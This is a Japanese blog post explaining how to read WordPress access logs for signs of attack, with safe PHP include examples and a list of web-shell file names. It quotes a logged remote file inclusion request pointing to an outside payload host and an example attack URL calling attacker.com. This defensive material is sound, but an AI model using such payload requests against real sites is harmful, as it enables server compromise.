2
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

アクセスログは語る:あなたのWebサイトを狙う攻撃の兆候と対策

2
Last updated at Posted at 2025-07-27

アクセスログは語る:あなたのWebサイトを狙う攻撃の兆候と対策

皆さん、こんにちは!今回はWebセキュリティ、特にアクセスログ解析に焦点を当ててお話しします。

Web開発に関する技術記事は豊富ですが、セキュリティやログ解析に特化した実践的な内容は意外と少ないと感じています。開発スキルはもちろん重要ですが、ITエンジニアとしてログを読み解き、解析する能力は、システムの健全性を維持する上で不可欠です。

本記事では、私が個人で管理していた(現在は閉鎖済みの)ドメインのアクセスログを基に、実際にどのような攻撃が試みられているのか、その兆候と具体的な対策について解説します。

1. アクセスログの取得方法を確認しよう

まずは、ご自身のWebサイトのアクセスログがどこで確認できるかを知ることから始めましょう。今回は、お手軽開発で人気のWordPressと、そのホスティング先としてよく利用されるXserverを例にご紹介します。

  • Xserverの場合:
    • サーバーパネル → アクセス解析 → アクセスログ
    • FTPクライアントで接続する場合:解析したいドメイン直下の LOG ディレクトリ内に存在します。

2. 実際のアクセスログを見てみよう

以下は、ある日のアクセスログの抜粋です。一見すると意味不明な文字列の羅列に見えるかもしれませんが、ここにはWebサイトへのアクセスに関する貴重な情報が詰まっています。

golem-works.com 216.24.212.158 - - [29/Jun/2025:13:43:06 +0900] "GET /lock360.php HTTP/1.1" 404 9421 "-" "Go-http-client/1.1"
golem-works.com 216.24.212.158 - - [29/Jun/2025:13:43:07 +0900] "GET /1.php HTTP/1.1" 404 9421 "-" "Go-http-client/1.1"
golem-works.com 216.24.212.158 - - [29/Jun/2025:13:43:08 +0900] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 404 9421 "-" "Go-http-client/1.1"

各項目は以下の情報を表しています。

(1)golem-works.com (2)216.24.212.158 - - (3)[29/Jun/2025:13:43:06 +0900] (4)"GET /lock360.php HTTP/1.1" (5)404 9421 (6)"-" "Go-http-client/1.1"
  1. golem-works.com: アクセスされたドメイン。
  2. 216.24.212.158: アクセス元のIPアドレス。
  3. [29/Jun/2025:13:43:06 +0900]: アクセス日時(タイムゾーン含む)。
  4. "GET /lock360.php HTTP/1.1": HTTPメソッドとリクエストされたパス、HTTPバージョン。ここでは GET メソッドで /lock360.php というファイルへのアクセスを試みています。
  5. 404 9421: サーバーが返したHTTPステータスコードと、返したコンテンツのバイト数。404 は「Not Found」(ファイルが見つからない)エラーです。
  6. "-" "Go-http-client/1.1": リファラーとUser-Agent。User-Agentはアクセスしてきたクライアント(ブラウザやツールなど)の情報を示します。Go-http-client/1.1 は、Go言語で書かれたHTTPクライアントからのアクセスであることを意味し、自動化されたスキャンツールである可能性が非常に高いです。

この一行のログから、「216.24.212.158 というIPアドレスから golem-works.com へ、Go-http-client/1.1 というツールを使って /lock360.php というファイルへの GET リクエストがあったが、サーバーにはそのファイルが存在せず 404 Not Found が返された」という状況が読み取れます。

3. これは攻撃か?ログから読み解く攻撃の兆候

上記のログを見て、「何か変じゃないか?」と感じた方は鋭いです。実はこれ、サイトの脆弱性スキャンが行われている攻撃の兆候です。

もう少し長いログを見てみましょう。

golem-works.com 216.24.212.158 - - [29/Jun/2025:13:43:06 +0900] "GET /lock360.php HTTP/1.1" 404 9421 "-" "Go-http-client/1.1"
golem-works.com 216.24.212.158 - - [29/Jun/2025:13:43:07 +0900] "GET /1.php HTTP/1.1" 404 9421 "-" "Go-http-client/1.1"
golem-works.com 216.24.212.158 - - [29/Jun/2025:13:43:08 +0900] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 404 9421 "-" "Go-http-client/1.1"
golem-works.com 216.24.212.158 - - [29/Jun/2025:13:43:09 +0900] "GET /fw.php HTTP/1.1" 404 9421 "-" "Go-http-client/1.1"
golem-works.com 216.24.212.158 - - [29/Jun/2025:13:43:09 +0900] "GET /templates/beez3/jsstrings.php HTTP/1.1" 404 9421 "-" "Go-http-client/1.1"
golem-works.com 216.24.212.158 - - [29/Jun/2025:13:43:10 +0900] "GET /w.php HTTP/1.1" 404 9421 "-" "Go-http-client/1.1"
golem-works.com 216.24.212.158 - - [29/Jun/2025:13:43:10 +0900] "GET /ss.php HTTP/1.1" 404 9421 "-" "Go-http-client/1.1"
golem-works.com 216.24.212.158 - - [29/Jun/2025:13:43:11 +0900] "GET /wp-admin/includes/let.php HTTP/1.1" 401 2784 "-" "Go-http-client/1.1"
golem-works.com 216.24.212.158 - - [29/Jun/2025:13:43:11 +0900] "GET /worksec.php HTTP/1.1" 404 9421 "-" "Go-http-client/1.1"
golem-works.com 216.24.212.158 - - [29/Jun/2025:13:43:11 +0900] "GET /bypass.php HTTP/1.1" 404 9421 "-" "Go-http-client/1.1"

このように、不自然な 404 (Not Found) や 301 (Moved Permanently)、401 (Unauthorized)、403 (Forbidden) といったステータスコードを伴うリクエストが、短時間に大量に、かつ連続して記録されている場合、それは間違いなく自動化されたツールによる攻撃(脆弱性スキャンやブルートフォースアタックの試行など)を受けている証拠です。

4. 攻撃者の意図をログから深く読み解く

攻撃者は一体誰で、何をしようとしているのでしょうか?ログからさらに深く読み解いていきましょう。

4.1. 攻撃元IPアドレスの解析

攻撃元のIPアドレス 216.24.212.158 をWhois検索やIPアドレス評価サービスで調べてみましょう。多くの場合、データセンターやクラウドプロバイダーのIPアドレスであり、過去にスパムや不正アクセスのブラックリストに掲載されている情報が見つかることがあります。これは、使い捨てのクラウドインスタンスなどから大量にスキャンが行われている可能性を示唆します。

4.2. リクエストパスから見る攻撃パターン

攻撃者がリクエストしているパスを詳細に分析することで、その意図がより明確になります。

  • WordPress管理者画面への不正アクセス試行
    /wp-admin を含むパスへのリクエストは、WordPressの管理画面への侵入を試みている兆候です。401 (Unauthorized) エラーが返されているのは、認証が必要なページへのアクセスが拒否されていることを示します。

    /wp-admin.php HTTP/1.1" 403 1470 "-" "Go-http-client/1.1"
    /wp-admin/js/about.php7 HTTP/1.1" 401 2784 "-" "Go-http-client/1.1"
    

    これは管理者権限の奪取を狙った攻撃です。

  • Webシェル・バックドアの探索
    存在しない不自然なファイル名(例: /xleet.php/shell.php)を探索し、404 エラーが返されているログは、攻撃者が過去に仕込んだWebシェルやバックドア、あるいは一般的な攻撃ツールで使われるファイルが残っていないか探していることを示します。もしあなたのサイトにこれらのファイル名と同じファイルが存在し、覚えがない場合は、既にハッキングされている可能性が非常に高いです。

    /xleet.php HTTP/1.1" 404 9421 "-" "Go-http-client/1.1"
    /shell.php/wp-ver.php HTTP/1.1" 404 9421 "-" "Go-http-client/1.1"
    
  • 隠蔽された不正ファイルの探査
    CSSや画像ファイルが置かれるべきではないディレクトリ (/css//images/) の中にPHPファイルがないかを探しているログも多く見られます。これは、正規のファイルに見せかけてバックドアなどを隠していないかスキャンしている手口です。

    /css/index.php HTTP/1.1" 301 0 "-" "Go-http-client/1.1"
    /wp-includes/images/admin.php HTTP/1.1" 404 9421 "-" "Go-http-client/1.1"
    
  • WordPress重要ファイルやデフォルト設定の脆弱性スキャン
    WordPressの重要な設定ファイルである wp-config.php のスペルミス(例: wp-conflg.php)を狙ったり、デフォルトでインストールされているテーマの既知の脆弱性を探したりするアクセスも頻繁にあります。

    /wp-admin/network/wp-conflg.php HTTP/1.1" 403 ...
    /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 ...
    
  • 広範囲なスキャンとランダムパスの試行
    .well-known のような標準化された特殊ディレクトリや、意味不明な短いパス(/wow/ など)へのアクセスも頻繁に見られます。これらは、特定のサーバー設定ミスや、過去に悪用されたことのあるファイル、あるいは単純にランダムなパスを試すことで、思わぬ脆弱性がないかを探しています。

  • コードの脆弱性を狙った攻撃(ファイルインクルードの悪用)
    以下のログは、PHPの include($_GET['file']); のような、外部ファイル読み込み機能の脆弱性を悪用しようとしている典型的な例です。これにより、攻撃者が指定した不正なファイルをサーバーに実行させようとします。

※実行させようとしているURLには、絶対にアクセスしないでください。マルウェア感染の恐れがあります。

```apache
48.210.47.150 - - [25/Jul/2025:08:49:34 +0900] "GET /autoload_classmap.phphttps://ranchimprovements.com/byp.php HTTP/1.1" 301 0 "-" "-"
```

`include($_GET['file']);` のようなユーザー入力に基づくファイルインクルードは非常に危険です。例えば、攻撃者は `http://your-site.com/vulnerable.php?file=http://attacker.com/malicious.txt` のようにURLを指定し、外部の不正なファイルを読み込ませようとします。

**【安全な記述例1:ホワイトリスト方式】**

```php
<?php
$allowed_files = ['header.php', 'footer.php', 'sidebar.php']; // 許可するファイル名を明確にリストアップ

$file_to_include = $_GET['file'] ?? ''; // $_GET['file']がセットされていない場合の処理を追加

if (in_array($file_to_include, $allowed_files)) {
    include($file_to_include);
} else {
    // 不正なアクセスや存在しないファイルへのリクエストは適切に処理
    header('HTTP/1.0 403 Forbidden');
    echo 'アクセスが許可されていません。';
    exit();
}
?>
```

**【安全な記述例2:ディレクトリトラバーサル防止と拡張子制限】**

```php
<?php
// basename() でディレクトリトラバーサル攻撃(例: ../../../etc/passwd)を防止
$requested_file = basename($_GET['file'] ?? '');

// .php拡張子のファイルのみを許可し、特定のテンプレートディレクトリに限定
if (preg_match('/\.php$/i', $requested_file) && file_exists("templates/" . $requested_file)) {
    include("templates/" . $requested_file);
} else {
    header('HTTP/1.0 404 Not Found'); // ファイルが見つからない、または不正なリクエストとして扱う
    echo '指定されたファイルが見つかりません。';
    exit();
}
?>
```
  • 通常のブラウザUser-Agentを偽装したボットによるスキャン
    User-AgentMozilla/5.0 (Windows NT ... Chrome/...) のように、あたかも通常のブラウザからのアクセスであるかのように偽装しているログも確認できます。これらは、より巧妙なボットによるスキャンであり、WordPressの一般的なパス(/wordpress/wp/backup など)を探し、脆弱性がないかを確認しています。User-Agent が偽装されていても、短時間での大量アクセスや、通常ありえないパスへの連続的なアクセスパターンと組み合わせることで、怪しい動きを特定できます。

5. 要注意ファイルリスト:あなたのサーバーにも潜んでいるかも?

アクセスログに記録されたファイル名の中には、Webシェルやバックドア、あるいは脆弱性テストによく使われるものが含まれます。もしあなたのサーバーの公開ディレクトリ内に、以下のような覚えのないファイルが存在する場合は、不正なものである可能性が極めて高く、即座に削除すべきです。

Webシェル・バックドア系(汎用的な名前、または隠蔽目的)

  • 1.php
  • as.php
  • byp.php
  • click.php
  • css.php (CSSファイルに見せかけたPHPファイル)
  • fm.php
  • fw.php
  • lv.php
  • m.php
  • mar.php
  • max.php
  • simple.php
  • shell.php
  • ty.php
  • w.php
  • ws.php

管理・運用・情報開示系(管理者ツールや設定を装う)

  • admin.php
  • edit.php
  • file.php
  • info.php (phpinfo() 関数によるサーバー情報表示目的)
  • manager.php

WordPress関連(プラグイン・テーマ・コアファイル狙い)

  • about.php
  • post.php
  • themes.php
  • wp.php
  • wp-trackback.php (過去に脆弱性が報告されたトラックバック関連ファイル)

ECサイト・商品関連(Eコマース系の機能を装う)

  • buy.php
  • goods.php
  • item.php
  • product.php

エラー・防御・特定フレームワーク関連

  • 403.php (アクセス禁止ページ)
  • 404.php (ファイルが見つからないページ)
  • alfa.php
  • alfanew.php
  • autoload_classmap.php (PHPのクラス自動読み込み関連ファイル)
  • bless.php
  • chosen.php
  • classfuns.php
  • classwithtostring.php (PHPの特定マジックメソッド脆弱性対策)
  • default.php
  • inputs.php
  • install.php
  • lock360.php (セキュリティツール名に偽装)
  • link.php

6. 今すぐできる!効果的なセキュリティ対策

ログ分析の結果、あなたのサイトがこれらの攻撃に対して適切に防御できている場合が多いのは幸運です。しかし、継続的な対策が何よりも重要です。

  1. WordPress本体、テーマ、プラグインの最新バージョンへの更新
    これは最も基本的かつ重要な対策です。既知の脆弱性を悪用した攻撃の多くを防ぐことができます。自動更新設定を利用するか、定期的に手動で確認する習慣をつけましょう。
  2. XserverのWAF(Web Application Firewall)の有効化
    WAFは、これらの不正なアクセスを自動的に検知・阻止し、サイトを保護する強力な機能です。必ず有効になっているか確認し、設定を見直しましょう。
  3. サーバー内のファイルの定期的な確認と不要ファイルの削除
    FTPクライアントやサーバーのファイルマネージャーを使用して、公開ディレクトリ内に覚えのないファイルや不審なファイルが作成されていないか、定期的にチェックする習慣を設けましょう。また、使用していないプラグインやテーマは、それ自体がセキュリティホールとなる可能性があるため、無効化するだけでなく、サーバーから完全に削除することが重要です。
  4. コードレビューと安全なコーディングプラクティス
    特にファイルインクルードのようなユーザー入力が関わる処理では、上記で示したようなホワイトリスト方式やディレクトリトラバーサル防止策を徹底しましょう。継続的なコードレビューも脆弱性の発見に繋がります。
  5. 不審なIPアドレスのブロック
    ログから頻繁に攻撃を仕掛けてくる特定のIPアドレスが判明した場合、サーバーのファイアウォール設定(例: .htaccessiptables)でそのIPアドレスからのアクセスをブロックすることを検討しましょう。ただし、攻撃元は頻繁に変わるため、WAFのような包括的な対策がより有効です。

まとめ

ログ解析は、Webサイトの健全性を保つための「健康診断」のようなものです。日々のログチェックを通じて、サイトがどのような「標的」になっているのかを理解し、適切なセキュリティ対策を講じることで、攻撃から大切なサイトを守ることができます。

Webセキュリティのログの深層に潜む「構造」を解き明かす探究心は、まるで宇宙の法則を解き明かすことにも通じているのかもしれません。
https://amzn.asia/d/8JbEH2S

この記事が皆さんのWebセキュリティ意識向上の一助となれば幸いです。

2
2
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?